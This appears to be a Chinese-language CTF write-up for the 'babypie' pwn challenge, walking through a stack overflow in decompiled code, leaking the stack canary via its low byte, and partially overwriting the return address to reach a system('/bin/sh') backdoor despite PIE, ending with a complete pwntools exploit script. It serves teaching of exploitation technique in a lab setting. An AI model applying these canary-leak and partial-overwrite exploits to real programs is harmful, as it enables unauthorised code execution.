遇到栈相关的题如果打开了pie和canary是挺麻烦的,但是如果合理的利用栈泄露和部分字节覆写还是可以达到一定程度的程序流控制

示例题目: 安恒杯 2018 .07月赛 babypie

Arch: amd64-64-little RELRO:

Partial RELRO

Stack: Canary

found NX: NX enabled

PIE: PIE enabled

开了pie和canary

0x00 IDA中分析

栈溢出发生的位置

__int64 vul()
{
  __int64 buf; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);             // 无缓冲
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  puts("Input your Name:");
  read(0, &buf, 0x30uLL);
  printf("Hello %s:\n", &buf);                  // 明显的溢出
                                                // 
  read(0, &buf, 0x60uLL);
  return 0LL;
}

溢出发生了两次,每次溢出可控制的字节不同。同时read不设置截断符\x00,而canary为了防止被泄露,最低位字节固定为0x00,那么可以额外读取一个字节覆盖canary的最低字节,达到泄露目的。

后门函数

int backdoor()
{
  return system("/bin/sh");
}

这个函数的偏移是 $rebase(A3E),而gdb里面动态调试发现vul函数执行完后的返回地址的偏移是 $rebase(A6A),由这里应该得到启发:实际上pie只是将地址高位进行了随机化,如果想办法修改低位,是有可能在一定限度内控制执行流的。

0x01 exp

思路

大致利用思路已经很明了了:

  • 第一次溢出用sendline把canary最后一个字节覆盖为换行符\x0a,然后从输出中读到canary+0xa,减去0xa得到canary。
  • 第二次溢出运用上一步的canary覆盖canary所在的栈上位置并继续向后溢出,覆盖return地址低两位字节。
  • 由于return地址低两位字节中有4 bits是无法控制的,也就是是随机的,好在范围不大,随便填一个靠点运气就能getshell~

完整exp

#!/usr/bin/python3

from pwn import *

p=process("./babypie")
elf=ELF("./babypie")
libc=ELF("./libc.so.6")

context.log_level="debug"

#Step1 leak canary & ret_addr
p.recvuntil(b"Name:")
payload1=b"a"*36+b"bbbb"
p.sendline(payload1)
p.recvuntil(b"bbbb")
canary=u64(p.recv(8))-0x0a
print("leak canary:",hex(canary))

#Step2 overwrite
p.recvuntil(b":\n")
payload2=b"a"*0x28+p64(canary)+b"a"*8+b"\x3E\x8A" # luckly~
p.send(payload2)

p.interactive()

0x02 总结

partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

标签: none

添加新评论